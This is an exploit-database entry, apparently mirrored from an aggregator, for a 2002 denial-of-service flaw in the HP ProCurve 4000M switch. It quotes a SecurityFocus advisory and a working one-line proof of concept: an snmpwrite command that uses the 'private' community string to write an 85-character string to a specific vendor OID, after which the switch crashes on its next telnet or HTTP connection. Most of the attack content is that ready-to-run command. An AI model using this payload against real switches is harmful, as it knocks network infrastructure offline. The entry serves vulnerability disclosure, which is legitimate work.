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HP ProCurve Switch 4000M - SNMP Write Denial of Service

🗓️ 27 Jul 2002 00:00:00Reported by FXType 
exploitdb
 exploitdb
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HP ProCurve 4000M Switch may crash with SNMP write access if over 85 characters are written.

Code
source: https://www.securityfocus.com/bid/5336/info

An issue has been reported with the HP ProCurve 4000M Switch.

An attacker with SNMP write access to the device may write to the SNMP variable .iso.3.6.1.4.1.11.2.36.1.1.2.1.0. If more than 85 characters are written to this variable, the device will crash the next time it accepts a connection to either the configured telnet or HTTP port. 

snmpwrite <switch_ip> private .iso.3.6.1.4.1.11.2.36.1.1.2.1.0 s `perl -e 'print "A"x85;'` 

Data

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27 Jul 2002 00:00Current
7.4High risk
Vulners AI Score7.4
27